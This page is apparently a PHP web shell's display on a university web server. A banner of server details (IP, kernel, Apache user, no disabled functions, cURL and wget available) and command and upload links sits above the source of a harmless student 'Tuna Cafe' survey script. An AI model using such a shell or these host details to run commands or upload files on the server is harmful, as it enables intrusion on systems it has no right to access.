Server IP : 172.16.15.8 / Your IP : 3.135.214.139 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/vnlaughlin/public_html/../www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<FONT color=blue size=4> Tuna Cafe Survey Result <HR> <?php $prefer = $_POST["prefer"]; $serv = $_POST["serv"]; $menu = array("Tuna Casserole", "Tuna Sandwich", "Tune Pie", "Grilled Tuna", "Tuna Surprise"); $servArr = array("The marvelous food preparation.", "The affordable prices.", "The speedy services.", "Just like tuna.", "None of the above."); $noselect = 0; if(count($prefer) == 0) { $noselect = $noselect + 1; } else { print "<P>Your food selections were</FONT><FONT size=4><ul>"; foreach ($prefer as $i) print "<LI>$menu[$i]"; print "</UL>"; } if(count($serv) == 0) { $noselect = $noselect + 2; } else { print "</FONT><FONT color=blue size=4><P>Overall survey of Tuna Cafe </FONT><ul>"; foreach ($serv as $k) print "<li>$servArr[$k]</li>"; print "</ul>"; } if($noselect >= 3) print "<FONT color=red size=4>You did not select anything.</FONT><br>"; elseif($noselect == 1) print "<FONT color=red size=4>You did not select any tuna.</FONT>"; elseif($noselect == 2) print "<FONT color=red size=4>You did not finish your survey.<FONT>"; ?> <hr> <A HREF=assign4.php>Go Back</A> </FONT>